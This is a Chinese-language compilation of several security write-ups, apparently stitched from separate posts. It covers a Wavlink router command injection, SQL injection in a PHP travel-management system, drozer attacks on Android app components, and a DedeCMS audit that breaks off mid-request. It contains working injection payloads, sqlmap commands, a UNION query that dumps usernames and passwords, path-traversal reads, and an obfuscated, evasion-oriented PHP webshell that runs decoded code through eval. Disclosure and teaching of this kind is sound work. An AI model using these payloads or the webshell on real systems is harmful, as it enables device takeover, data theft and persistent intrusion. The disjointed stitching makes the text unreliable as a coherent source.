某路由器二进制漏洞挖掘过程
1.前言
半个月前,我在对Wavlink品牌WL-NU516U1型号路由器进行安全测试时,发现其管理界面存在一处命令注入漏洞。
该漏洞源于系统对用户输入过滤不严,攻击者可通过特制的HTTP请求在设备中执行任意系统命令,从而完全控制设备。
经过深入分析与验证,确认该漏洞具有高危害性,可导致设备被完全接管。
我写了详细的技术报告,包括漏洞成因、利用方式和修复建议,并通过正规渠道向Wavlink厂商及CVE机构提交。
近日,该漏洞已正式获得CVE编号CVE-2025-9149。
https://www.wavlink.com/en_us/index.html2.漏洞概述
Wavlink是一家专注于网络设备和通信解决方案的公司,提供优质的路由器、扩展器和网络配件。其下的WAVLINK-NU516U1型号的固件,功能用于提供打印机服务器网卡,其管理后台存在命令注入漏洞,允许攻击者完成os命令执行。
固件下载地址:
https://docs.wavlink.xyz/Firmware/fm-516u1/ 3.漏洞详情
对固件binwalk -Me [固件位置] 解包
binwalk -Me WAVLINK-NU516U1-WO-A-2024-04-25-b516aec-GDBYFM.bin
获得其解包文件,而我们要找到/squashfs-root/etc/lighttpd/www/cgi-bin中的wireless.cgi二进制文件,
它的位置在 cgi-bin目录下,它是Lighttpd Web服务器的一个后端CGI程序。
当用户通过浏览器访问路由器的管理界面,比如说随便点击“无线设置”页面提交表单时,Lighttpd Web服务器会接收到这个HTTP请求。
Web服务器根据请求的URL,判断需要由哪个CGI程序来处理,对于无线设置相关的请求,它就会找到并执行这个 wireless.cgi文件。
wireless.cgi程序开始运行,它解析HTTP请求中的数据,比如你提交的表单项,然后可能会调用其他系统工具,如内置的 iwconfig、wpa_supplicant,或者直接读写配置文件, /etc/config/wireless来执行具体的无线网络配置更改。
处理完毕后,wireless.cgi会生成一个HTTP响应,比如一个成功响应的HTML页面,并将其输出到标准输出。
Web服务器捕获到这个输出,并将其打包成完整的HTTP响应,发送回给用户的浏览器。
与用户浏览器直接进行网络通信的是 Lighttpd Web服务器。
wireless.cgi是一个被Web服务器调用的后台程序,负责处理具体的业务逻辑。它是间接与外界通信的关键环节。
所以,这个wireless.cgi虽不直接与外界进行通信,但是它却负责处理用户从外部输入的数据,比如说HTTP请求参数,如果它对这些输入的处理不当,例如没有经过严格过滤就直接拼接成系统命令,就非常容易产生命令注入、缓冲区溢出等漏洞。
找到之后,拿IDA打开,观察其函数,先看main函数,首先用了fgets函数获取标准输入,拿到了用户提交的page参数值。
sub_405EA8函数将page参数值设置为GuestWifi,会跳转进入sub_4032E4函数。
sub_4032E4函数内,获取了Guest_ssid参数值,该值可以post传参可控,而且这段代码是典型的“功能开关”设计,程序在处理HTTP请求参数时,会依次读取多个配置值。
从参数名可以推断,guestEn代表 “Guest Enable”,即访客网络功能的总开关,代码首先获取这个开关的值 (v2 = sub_405EA8("guestEn", a1,0));,并将其保存到变量 v4中,而Guest_ssid是依赖项,Guest_ssid是访客网络功能下的一个子配置项,它的逻辑处理必然依赖于总开关 guestEn是否开启。
随后Guest_ssid参数值被传入sub_407504函数内。
而往上看会发现,必须v4为1,才会去执行sub_407504函数,否则就会跳到label_11的地方去,而v4在往上看则能够发现是字符串guestEn的值。
所以构造poc的时候,必须将guestEn设置为1
而在sub_407504函数中,在其中拼接给v8变量,交给system函数执行,产生了命令注入。
所以我们只需要构造page=GuestWifi&guestEn=1&Guest_ssid=1.txt就可以产生命令注入漏洞。
4.漏洞验证
首先使用工具将Wavlink模拟起来,这里选择了FrimAE
sudo ./run.sh -r Wavlink /home/fuzz/Wavlink/WAVLINK-NU516U1-WO-A-2024-04-25-b516aec-GDBYFM.bin
检查名为"httpd"的进程是否正在运行
设备正在运行 lighttpd Web服务器,其配置文件位于 /etc/lighttpd/lighttpd.conf
在浏览器打开F12,观察其Cookie,好帮助我们接下来发包的时候顺利。
接下来进行一个发包测试,将数值写入到poc.txt文件中,观察Wavlink路由器文件是否会出现poc.txt,且里面是否有我们注入的内容。
可以发现已经成功注入进去了,证明这里确实存在命令注入漏洞。
在线旅游及旅行管理系统项目SQL注入
1.前言
之前在网上随便逛逛的时候,发现一个有各种各样的PHP项目的管理系统,随便点进一个查看,发现还把mysql版本都写出来了,而且还是PHP语言。
https://itsourcecode.com/free-projects/php-project/online-tours-and-travels-management-system-project-in-php-and-mysql/那这可能存在sql注入漏洞,所以代码审计了一下,并上报了CVE,现在编号下来了 CVE-2025-9008,CVE-2025-8993,于是公开发现过程。
2.漏洞详情
1.1 CVE-2025-9008
下载其源代码之后,对“在线旅游及差旅管理系统”进行安全审查期间,发现“/admin/sms_setting.php””文件中存在一个高危SQL注入漏洞。
$sql = "UPDATE sms_setting SET uname='".$_POST['uname']."',
password='".$_POST['password']."',
sender_id='".$_POST['sender_id']."'
WHERE id='1'";
这段sql代码一眼望过去就是,直接将用户通过 $_POST超全局数组提交的数据,未经任何过滤和转义,就拼接到了 SQL 查询字符串中,那这肯定就存在sql注入漏洞。
因为sql 注入的核心在于“混淆了代码和数据”,用户的输入本应被视为普通数据,但由于直接拼接,攻击者可以精心构造输入,让其成为 sql代码的一部分,从而篡改原SQL语句的意图。
比如说在密码 password 输入框中,攻击者输入了:' OR '1'='1
那么,最终拼接出来的 SQL 语句会变成:
UPDATE sms_setting SET
uname='hacker',
password='' OR '1'='1',
sender_id='fake_sender'
WHERE id='1'
这条语句的含义被彻底改变了。password字段的赋值不再是一个简单的字符串,而是变成了一个逻辑判断 '' OR '1'='1'。这个判断的结果是 永远为真。
更高级的攻击者甚至可以输入类似 '; DROP TABLE users; --的内容,从而执行任意sql命令,比如说删除数据库表,导出数据库数据之类的操作。
payload
---
Parameter: uname (POST)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: uname=111111111111' RLIKE (SELECT (CASE WHEN (2321=2321) THEN 111111111111 ELSE 0x28 END)) AND 'QhkJ'='QhkJ&password=111111111111111111&sender_id=1111111111111111111&update=
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: uname=111111111111' AND EXTRACTVALUE(9139,CONCAT(0x5c,0x7178627171,(SELECT (ELT(9139=9139,1))),0x716a787171)) AND 'CAQx'='CAQx&password=111111111111111111&sender_id=1111111111111111111&update=
---
我们也可以使用一些工具来进行查看,比如说sqlmap。
sqlmap -u "http:/http://127.0.0.1/code/admin/sms_setting.php" --data="uname" --batch --dbs
通过 HTTP POST 请求 提交的、名为 uname的表单字段,选择了布尔盲注的攻击类型。
布尔盲注这是一种高级注入技术,用于当网站不会直接显示数据库错误信息,并且查询结果也不会直接返回到页面上的情况。攻击者通过向数据库发送一个“问题”,然后根据页面返回的细微差异,一般来说都是通过观察页面是否可以正常加载来判断。
而图中的payload
uname=111111111111' RLIKE (SELECT (CASE WHEN (2321=2321) THEN 111111111111 ELSE 0x28 END)) AND 'QhkJ'='QhkJ
111111111111:这是一个随机的无效用户名,目的是让原查询的uname匹配不到结果。
RLIKE: 这是MySQL的正则表达式匹配操作符,一般用它来触发一个条件判断。
(CASE WHEN (2321=2321) THEN ... ELSE ... END): 这是一个SQL的CASE条件语句。这里它判断一个永恒成立的条件 2321=2321
如果条件为 True,那么整个RLIKE语句会匹配用户名111111111111,页面可能会返回一个找不到用户名存在的状态。
如果条件为 False,比如说什么1=2之类的常见语句,那么CASE语句会返回一个错误的结果,导致RLIKE匹配失败,页面可能会返回一个完全空白的状态。
把2321=2321换成 (SELECT COUNT(*) FROM information_schema.schemata) > 5),观察页面的反应,盲猜出数据库名称出来。
所以明确了这里存在sql注入漏洞。
1.2 CVE-2025-8993
接着,在“/admin/expense_report.php”文件中又发现了一个严重的SQL注入漏洞。该漏洞源于对“from_date”参数的用户输入验证不足,使得攻击者能够注入恶意SQL查询。因此,攻击者可以未经授权访问数据库,修改或删除数据,并获取敏感信息。
这段代码的核心逻辑其实就是,首先检查用户是否点击了提交按钮if (isset($_POST['submit'])),然后就去获取用户表单中输入的起始日期$from_date和结束日期$to_date,连接数据库之后用一条 sql 语句,查询 expense表中所有在用户指定日期范围内创建的记录。
而且还用了PDO,PDO最重要的就是预处理语句,从根本上防御sql注入,但是又没使用好。
它将 sql 语句的结构 和 数据 分开发送给数据库服务器处理。
比如说先把一个带“占位符”的 sql 模板发送给数据库,数据库会解析并编译这个模板,确定它的结构。
$stmt = $pdo->prepare("SELECT * FROM users WHERE name = ? AND pwd = ?");
然后当执行阶段的时候,再把真实的数据,比如说什么用户输入的用户名和密码,发送给数据库,数据库只会把这些数据当正常数据值使用,不会把它当成 SQL 代码来解析。
这样就避免了,即使用户输入了恶意的数据比如说什么常见的 ' OR '1'='1,它也只会被当作一个普通的字符串字面值去进行匹配,而不会改变原sql语句的逻辑。从而彻底杜绝了 SQL 注入。
但是这条sql语句虽然也使用了PDO,但是它把用户要输入的from_date的值给它拼接到sql字符串了,代码和字符串直接拼接,完全绕过了PDO的安全保护,让PDO形同虚设。
$stmt = $conn->prepare("SELECT * FROM expense where created_date between '".$_POST['from_date']."' and '".$_POST['to_date']."' ");
$_POST['from_date'] 和 $_POST['to_date'] 没有任何过滤/转义,直接拼接到了 SQL 中。
攻击者只要在表单输入里构造恶意 payload,就能注入 sql。
虽然用了 PDO,但没有真正用到参数化查询。
$conn->prepare(...) 本身可以防止注入,但是这里不知道怎么回事,开发者依然把变量拼接到了 sql 里,相当于没起作用。
所以漏洞源于“from_date”参数的用户输入验证不足,导致攻击者能够注入恶意sql查询。
payload
---
Parameter: from_date (POST)
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: from_date=0111-11-11' AND GTID_SUBSET(CONCAT(0x71716a6271,(SELECT (ELT(8748=8748,1))),0x7162707071),8748)-- OwaD&to_date=0001-01-11&submit=
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: from_date=0111-11-11' AND (SELECT 5860 FROM (SELECT(SLEEP(5)))KNEf)-- vyOX&to_date=0001-01-11&submit=
---
用sqlmap进行检测
sqlmap -u "http:/http://127.0.0.1/code/admin/expense_report.php" --data="from_date" --batch --dbs
sqlmap 识别到 POST 参数 from_date 存在注入漏洞。
测试了多种方式,包括 基于报错注入 和 基于时间的盲注 ,都确认有效。
所谓的错误型注入,简单点说就是通过故意触发数据库错误,从而让数据库在报错信息中直接返回查询结果。
还有时间盲注 ,字面意思也就是通过让数据库执行延时函数,比如说什么 SLEEP(5),然后根据页面响应时间来判断注入的sql是否有效。
from_date=0111-11-11' AND (SELECT 5860 FROM (SELECT(SLEEP(5)))KNEf)-- vy0X&...
如果注入成功,数据库将会执行 SLEEP(5)命令,导致页面响应时间延迟5秒。sqlmap就会根据这个延迟就能判断出漏洞存在。
而且sqlmap 成功获取了数据库名:information_schema,这是系统库,每个cms都会有的。
tour1,这个才是该cms特有的数据库名称。
所以明确了POST参数的from_date存在注入漏洞。
3.建议修复
使用准备好的语句和参数绑定:准备好的语句可以防止 SQL 注入,因为它们将 SQL 代码与用户输入数据分离。使用准备好的语句时,用户输入的值将被视为纯数据,不会被解释为 SQL 代码。
输入验证和过滤:严格验证和过滤用户输入数据,确保其符合预期的格式。
最小化数据库用户权限:确保用于连接数据库的账户具有必要的最低权限。避免使用具有高级权限的账户,比如“root”或“admin”进行日常操作。
定期安全审计:定期进行代码和系统安全审计,及时发现并修复潜在的安全漏洞。
Android四大组件安全漏洞实战
Android 四大组件Activity、Service、Broadcast Receiver和Content Provider是应用程序的核心组成部分,但如果实现不当,会引入严重的安全漏洞。本文将详细分析各组件常见的安全漏洞,通过漏洞代码逻辑基于 drozer 的利用方式,能够更清楚的了解具体漏洞的原理以及利用方法。
具体droze的下载和安装不详细介绍,可以自行百度,安装完成后先在android端运行drozer agent,点击开启。
在电脑端通过adb实现端口转发,并成功启动drozer
adb forward tcp:31415 tcp:31415
drozer console connect
通过app.package.list的filter参数过滤alan关键词的包名称
run app.package.list --filter alan
查询该app的包信息
run app.package.info -a com.asec.alan
利用app.package.attacksurface可以查询该APP的攻击面,即漏洞的点和数量。
run app.package.attacksurface com.asec.alan
完成上述的操作后,即可对相关的漏洞进行检测分析了,接下来针对具体的组件和漏洞进行测试操作。
一、Activity
Activity 作为 Android 的界面组件,负责与用户交互,其安全问题直接影响用户数据安全。
1、未授权访问漏洞
需要登录权限的 Activity 未做严格校验,导致恶意应用可直接通过 Intent 启动。
通过以下drozer命令可以查看当前app的所有activity,并确认无权限限制
run app.activity.info -a com.asec.alan
对于这些activity的执行逻辑属于
LoginActivity登录->MainActivity->InfoQueryActivity
LoginActivity登录->MainActivity->FileQueryActivity
1)漏洞代码
以下为具体的代码,以LoginActivity登录->MainActivity->InfoQueryActivity场景为例,可以看到首先LoginActivity以硬编码的形式进行用户密码的判断,并使用SharePreference进行了登录态的存储
当用户密码登录成功后即可跳转MainActivity,MainActivity对登录态简单做了校验,确认其中的is_logged_in的值存在即可加载。
通过MainActivity跳转到InfoQueryActivity直接进行点击事件的监听跳转
该acitivity直接加载,未进行登录态的校验
通过上述APP代码的分析,可以判断出MainActivity的加载做了简单的登录态校验,但是如果已经登录过,且登录态写入到user_prefs.xml中后,只要不进行删除即可直接通过命令加载成功实现绕过;InfoQueryActivity的加载并未做任何校验,可以尝试直接进行加载。
2)漏洞利用
MainActivity加载:
基于上述代码逻辑的分析,接下来通过drozer命令进行利用测试,如果已经登录过APP,则在该程序目录会生成user_prefs.xml文件,里面会写入"is_logged_in"的值为true
MainActivity的加载可直接通过drozer命令加载
run app.activity.start --component com.asec.alan com.asec.alan.MainActivity
执行后成功记载MainActivity
删除user_prefs.xml文件,再利用drozer命令尝试加载MainActivity则失败
InfoQueryActivity加载:
InfoQueryActivity则通过app.activity.start命令直接加载即可。
run app.activity.start --component com.asec.alan com.asec.alan.InfoQueryActivity
3)修复建议
二、Service
Service 用于后台处理任务,若存在漏洞可能导致敏感操作被恶意调用。
新建一个用于漏洞测试的service,并写入一些漏洞的逻辑
service组件运行导出
通过drozer命令可以查询支持导出的service组件信息,支持导出则可能存在对应的漏洞。
run app.service.info -a com.asec.alan
1、任意文件写入漏洞
在 Android Service 场景中,当服务接收外部传入的文件路径参数并直接用于文件写入操作时,覆盖应用自身关键文件(配置文件、数据库等),导致应用的使用或者安全风险问题。
1)漏洞代码
当 Service 处理"com.asec.alan.ACTION_WRITE_FILE"动作时,会从 Intent 中直接读取filePath参数及需要写入的内容,并通过writeToFile()方法写入内容。但是writeToFile()直接使用传入的filePath创建File对象,未检查路径是否限制在应用私有目录
2)漏洞利用
通过drozer命令向/data/data/com.asec.alan/写入drozer_test.txt文件,文件内容为Test from drozer
run app.service.start --action com.asec.alan.ACTION_WRITE_FILE --component com.asec.alan com.asec.alan.VulnerableService --extra string file_path "/data/data/com.asec.alan/drozer_test.txt" --extra string content "Test from drozer"
利用adb shell连接android系统,切换为root权限后查看drozer_test.txt的存在和内容
adb shell
su
ls /data/data/com.asec.alan/drozer_test.txt
cat /data/data/com.asec.alan/drozer_test.txt
2、敏感信息泄露漏洞
敏感信息泄露指应用在运行过程中,将不应公开的敏感数据(如密码、密钥、令牌等)以明文形式存储、传输或输出,导致未授权主体可获取这些信息。
1)漏洞代码
当 Service 处理"com.asec.alan.ACTION_GET_SECRET"动作时,getSensitiveInformation()方法会返回包含数据库密码、API 密钥等核心敏感数据,并通过Log.d()输出到系统日志
2)漏洞利用
利用drozer命令启动com.asec.alan com.asec.alan.VulnerableService服务
run app.service.start --action com.asec.alan.ACTION_GET_SECRET --component com.asec.alan com.asec.alan.VulnerableService
通过adb的logcat查看对应的日志,成功打印出对饮的敏感数据。
adb logcat VulnerableService:D *:S
三、Broadcast Receiver
Broadcast Receiver 用于接收系统或应用间的广播,若实现不当会导致信息泄露或恶意调用。
1、伪造恶意广播漏洞
Receiver 未验证广播发送者身份,恶意应用可伪造广播触发敏感操作。
1)漏洞代码
该接收器未对广播发送者的身份进行任何验证,任何应用都可以发送com.asec.alan.ACTION_SENSITIVE_OPERATION动作的广播来触发其逻辑。并通过performSensitiveOperation方法执行敏感操作,测试使用Toast在界面弹窗展示,但整个调用链都没有权限检查机制。
2)漏洞利用
利用drozer伪造恶意广播并触发该接收器
run app.broadcast.send --action com.asec.alan.ACTION_SENSITIVE_OPERATION --component com.asec.alan com.asec.alan.VulnerableReceiver --extra string operation "test" --extra string data "test"
通过界面可以查看到对应的广播信息
四、Content Provider
Content Provider 用于数据共享,是最容易出现安全问题的组件,常见漏洞包括信息泄露、SQL 注入和目录遍历。
1、信息泄露漏洞
Content Provider 未限制访问权限,导致应用内敏感数据(如用户信息、数据库)可被任意读取。
1)漏洞代码:
通过该代码可以发现,未检查调用者是否有读取权限,可以直接调用sql进行数据的查询。
2)漏洞利用
利用drozer命令可以查看该APP的provider的信息
run app.provider.info -a com.asec.alan
利用app.provider.finduri可以查看所有的uri
run app.provider.finduri com.asec.alan
通过drozer查询content://com.asec.alan.provider/该uri的数据
run app.provider.query content://com.asec.alan.provider/
2、SQL 注入漏洞
Content Provider 在处理查询时直接拼接 SQL 语句,未使用参数化查询,导致 SQL 注入。
1)漏洞代码
通过代码发现将selection参数直接拼接进 SQL 查询字符串,未使⽤参数化查询或输⼊净化,完全信任外部输⼊。并且忽略了selectionArgs参数,该参数本应⽤于安全传递查询参数,调⽤rawQuery时未使⽤参数绑定功能,⽽是传递null。
2)漏洞利用
利用drozer的scanner.provider.injection可以查询该APP的Content Provider存在的SQL注入
run scanner.provider.injection -a com.asec.alan
基于sql注入漏洞的测试和利用,通过order by进行显示位的判断
run app.provider.query content://com.asec.alan.provider/ --selection "1=1 order by 2"
run app.provider.query content://com.asec.alan.provider/ --selection "1=1 order by 3"
run app.provider.query content://com.asec.alan.provider/ --selection "1=1 order by 4"
并进行username和password数据的查询。
run app.provider.query content://com.asec.alan.provider/ --selection "1=1 UNION SELECT 1,username,password FROM users--"
3、目录遍历漏洞
Content Provider 的openFile()方法未验证文件路径,导致攻击者可访问应用沙盒外的任意文件。
1)漏洞代码
代码中使用uri.getEncodedPath()获取路径,未处理../或..\等路径跳转符,用户可控的uriPath直接与基础目录baseDir拼接,并没有对访问的文件类型、路径范围进行权限校验。
2)漏洞利用
利用drozer的scanner.provider.traversal对目录遍历漏洞进行检测,发现对应的uri
run scanner.provider.traversal -a com.asec.alan
并成功查询/system/etc/hosts文件内容
run app.provider.read content://com.asec.alan.provider/../../../../system/etc/hosts
本文利用drozer工具基于该APP的测试和操作,其实对于android app的组件漏洞的测试还有很多方法,通过其对四大组件的系统性检测,可有效发现权限控制缺失、输入验证不足等高危漏洞。在实际测试中,需结合静态代码分析(如查看 AndroidManifest.xml 的组件配置)与 Drozer 的动态交互测试,形成 "静态枚举 + 动态验证" 的闭环,才能全面评估组件的安全状态,为漏洞修复提供精准依据。
APP地址: https://pan.baidu.com/s/1l1thGur7wmMBXLWivqW6cg?pwd=4ggk
提取码: 4ggk
意外搞出的免杀 Webshell 实战之织梦 CMS 到 RCE
前言
书接上文,在上次意外搞出的免杀 webshell 条件下,最近又去审计了一个织梦 CMS
官方网站 https://www.dedecms.com/
最后成功利用免杀 webshell 实现了 RCE,下面是审计过程和审计思路
环境搭建
去官网下载源码,然后配合 phpstudy 搭建就 ok 了
这个比较简单,注意根目录需要放 upload 目录
注意默认的管理员目录是 dede,访问/dede/login.php
默认账户密码adminadmin
代码审计
这里我只找 RCE 漏洞
首先对于 php 的话,就是找 sink 点,或者在后台功能点去看,一般审计多了,看到功能点就大概能猜出有哪些漏洞
sink 点的话可以使用一个工具
Seay 源代码审计系统
https://github.com/f1tz/cnseay虽然比较粗糙,误报很多,不过相比于语义分析的工具更能提升代码审计的技术
我们直接把源码丢进去就可以了
可以看到这个工具确实不太准确,因为 sink 点实在太多,不过熟练后,一眼就知道哪些不需要去管的
然后这里我只关注能够 RCE 的漏洞
找到之后没有什么技巧,就是回头看参数是否可以控制
下面举个例子
案例 1
比如这句话,一眼就感觉有漏洞,我们就需要去详细查看一下
<?php /*<meta name="9Rrdzo" content="a">*/
$password='UaUahObGMzTnBiMjVmYzNSaGNuUW9LVHNLUUhObGRGOTBhVzFsWDJ4cGJXbDBLREFwT3dwQVpYSnliM0pmY21Wd2aIzSjBhVzVuS0RBcE93cG1kVzVqZEdsdmJpQmxibU52WkdVb0pFUXNKRXNwZXdvZ0lDQWdabTl5S0NScFBUQTdKR2s4YzNSeWJHVnVLQ1JFS1Rza2FTc3JLU0I3Q2lBZ0lDQWdJQ0FnSkdNZ1BTQWtTMXNrYVNzeEpqRTFYVHNLSUNBZ0lDQWdJQ0FrUkZza2FWMGdQU0
$username = get_meta_tags(__FILE__)[$_GET['token']];
header("ddddddd:".$username);
$arr = apache_response_headers();
$template_source='';
foreach ($arr as $k => $v) {
if ($k[0] == 'd' && $k[5] == 'd') {
$template_source = str_replace($v,'',$password);
}}
$template_source = base64_decode($template_source);
$template_source = base64_decode($template_source);
$key = 'template_source';
$aes_decode[1]=$key;
@eval($aes_decode[1]);
$NkM1M7 = "..............";
if( count($_REQUEST) || file_get_contents("php://input") ){
}else{
header('Content-Type:text/html;charset=utf-8'); http_response_code(405);
echo base64_decode/**/($NkM1M7);
}
我们可以看到这个参数其实是不能控制的
`aes_decode[1]就是 $key,等价于$template_source
$template_source = str_replace($v, '', $password);
来源于$password
而其中 password 是固定的,所以不可以控制
案例 2
function DeleteFile($filename)
{
$filename = $this->baseDir.$this->activeDir."/$filename";
if(is_file($filename))
{
@unlink($filename); $t="文件";
}
else
{
$t = "目录";
if($this->allowDeleteDir==1)
{
$this->RmDirFiles($filename);
} else
{
// 完善用户体验,by:sumic
ShowMsg("系统禁止删除".$t."!","file_manage_main.php?activepath=".$this->activeDir);
exit;
}
}
ShowMsg("成功删除一个".$t."!","file_manage_main.php?activepath=".$this->activeDir);
return 0;
}
}
是一个方法,这种需要寻找调用这个方法的地方
else if($fmdo=="del")
{
$fmm->DeleteFile($filename);
}
这种是一个典型的控制器,根据 fmdo 来选择对应的操作
不过根据所在的文件的注释
/**
* 文件管理控制
*
* @version $Id: file_manage_control.php 1 8:48 2010年7月13日 $
* @package DedeCMS.Administrator
* @founder IT柏拉图, https://weibo.com/itprato
* @author DedeCMS团队
* @copyright Copyright (c) 2004 - 2024, 上海卓卓网络科技有限公司 (DesDev, Inc.)
* @license http://help.dedecms.com/usersguide/license.html
* @link http://www.dedecms.com
*/
这里就能大概猜到了
是一个文件管理器,可能对应着删除按钮,我们尝试能不能目录穿越
不过这里是做了限制的
$filename = preg_replace("#([.]+[/]+)*#", "", $filename);
移除 ../ 形式的路径穿越字符
而且下面还会直接移除..
所以考虑放弃
案例 3
定位到 sys_sql_query.php 文件了
发现可以执行 sql
if(preg_match("#^select #i", $sqlquery))
{
$dsql->SetQuery($sqlquery);
$dsql->Execute();
if($dsql->GetTotalRow()<=0)
{
echo "运行SQL:{$sqlquery},无返回记录!";
}
else
{
echo "运行SQL:{$sqlquery},共有".$dsql->GetTotalRow()."条记录,最大返回100条!";
}
$j = 0;
while($row = $dsql->GetArray())
{
$j++;
if($j > 100)
{
break;
}
echo "<hr size=1 width='100%'/>";
echo "记录:$j";
echo "<hr size=1 width='100%'/>";
foreach($row as $k=>$v)
{
echo "<font color='red'>{$k}:</font>{$v}<br/>\r\n";
}
}
exit();
}
if($querytype==2)
{
//普通的SQL语句
$sqlquery = str_replace("\r","",$sqlquery);
$sqls = preg_split("#;[ \t]{0,}\n#",$sqlquery);
$nerrCode = ""; $i=0;
foreach($sqls as $q)
{
$q = trim($q);
if($q=="")
{
continue;
}
$dsql->ExecuteNoneQuery($q);
$errCode = trim($dsql->GetError());
if($errCode=="")
{
$i++;
}
else
{
$nerrCode .= "执行: <font color='blue'>$q</font> 出错,错误提示:<font color='red'>".$errCode."</font><br>";
}
}
echo "成功执行{$i}个SQL语句!<br><br>";
echo $nerrCode;
}
else
{
$dsql->ExecuteNoneQuery($sqlquery);
$nerrCode = trim($dsql->GetError());
echo "成功执行1个SQL语句!<br><br>";
echo $nerrCode;
}
exit();
}
而且 sql 语句是可以控制的
跟进执行的地方发现
function Execute($id="me", $sql='')
{
global $dsqli;
if(!$dsqli->isInit)
{
$this->Init($this->pconnect);
}
if($dsqli->isClose)
{
$this->Open(FALSE);
$dsqli->isClose = FALSE;
}
if(!empty($sql))
{
$this->SetQuery($sql);
}
//SQL语句安全检查
if($this->safeCheck)
{
CheckSql($this->queryString);
}
$t1 = ExecTime();
//var_dump($this->queryString);
$this->result[$id] = mysqli_query($this->linkID, $this->queryString);
//var_dump(mysql_error());
//查询性能测试
if($this->recordLog) {
$queryTime = ExecTime() - $t1;
$this->RecordLog($queryTime);
//echo $this->queryString."--{$queryTime}<hr />\r\n";
}
if($this->result[$id]===FALSE)
{
$this->DisplayError(mysqli_error($this->linkID)." <br />Error sql: <font color='red'>".$this->queryString."</font>");
}
}
是有一个 checksql 的检查的
//SQL语句过滤程序,由80sec提供,这里作了适当的修改
if (!function_exists('CheckSql'))
{
function CheckSql($db_string,$querytype='select')
{
global $cfg_cookie_encode;
$clean = '';
$error='';
$old_pos = 0;
$pos = -1;
$log_file = DEDEINC.'/../data/'.md5($cfg_cookie_encode).'_safe.txt';
$userIP = GetIP();
$getUrl = GetCurUrl();
//如果是普通查询语句,直接过滤一些特殊语法
if($querytype=='select')
{
$notallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";
//$notallow2 = "--|/\*";
if(preg_match("/".$notallow1."/i", $db_string))
{
fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||SelectBreak\r\n");
exit("<font size='5' color='red'>Safe Alert: Request Error step 1 !</font>");
}
}
//完整的SQL检查
while (TRUE)
{
$pos = strpos($db_string, '\'', $pos + 1);
if ($pos === FALSE)
{
break;
}
$clean .= substr($db_string, $old_pos, $pos - $old_pos);
while (TRUE)
{
$pos1 = strpos($db_string, '\'', $pos + 1);
$pos2 = strpos($db_string, '\\', $pos + 1);
if ($pos1 === FALSE)
{
break;
}
elseif ($pos2 == FALSE || $pos2 > $pos1)
{
$pos = $pos1;
break;
}
$pos = $pos2 + 1;
}
$clean .= '$s#39;;
$old_pos = $pos + 1;
}
$clean .= substr($db_string, $old_pos);
$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
if (strpos($clean, '@') !== FALSE OR strpos($clean,'char(')!== FALSE OR strpos($clean,'"')!== FALSE
OR strpos($clean,'$s$s#39;)!== FALSE)
{
$fail = TRUE;
if(preg_match("#^create table#i",$clean)) $fail = FALSE;
$error="unusual character";
}
//老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它
if (strpos($clean, 'union') !== FALSE && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)
{
$fail = TRUE;
$error="union detect";
}
//发布版本的程序可能比较少包括--,#这样的注释,但是黑客经常使用它们
elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== FALSE || strpos($clean, '#') !== FALSE)
{
$fail = TRUE;
$error="comment detect";
}
//这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库
elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)
{
$fail = TRUE;
$error="slown down detect";
}
elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)
{
$fail = TRUE;
$error="slown down detect";
}
elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0)
{
$fail = TRUE;
$error="file fun detect";
}
elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0)
{
$fail = TRUE;
$error="file fun detect";
}
//老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息
elseif (preg_match('~\([^)]*?select~s', $clean) != 0)
{
$fail = TRUE;
$error="sub select detect";
}
if (!empty($fail))
{
fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n");
exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");
}
else
{
return $db_string;
}
}
}
案例 4
基于这个文件管理,我们还是在这个类,肯定还有编辑文件的说法
我们来到对应的路由去查看
果然找到了
//文件编辑
/*---------------
function __saveEdit();
----------------*/
else if($fmdo=="edit")
{
csrf_check();
$filename = str_replace("..", "", $filename);
$file = "$cfg_basedir$activepath/$filename";
$str = stripslashes($str);
$fp = fopen($file, "w");
fputs($fp, $str);
fclose($fp);
if ($fp === false) {
ShowMsg("保存失败!请检查文件是否可写", -1);
exit();
}
if(empty($backurl))
{
ShowMsg("成功保存一个文件!","file_manage_main.php?activepath=$activepath");
}
else
{
ShowMsg("成功保存文件!",$backurl);
}
exit();
}
一样的方法
文件名是 filename,内容是 str
我们访问对应的路由
发现是一个文件管理器,而且可以编辑文件,那不是随便 getshell 了吗
POST /dede/file_manage_control.php HTTP/1.1
Host: dedecms:5135
Content-Length: 130
Cache-Control: max-age=0
Origin: http://dedecms:5135
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://dedecms:5135/dede/file_manage_view.php?fmdo=edit&filename=index.php&activepath=
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
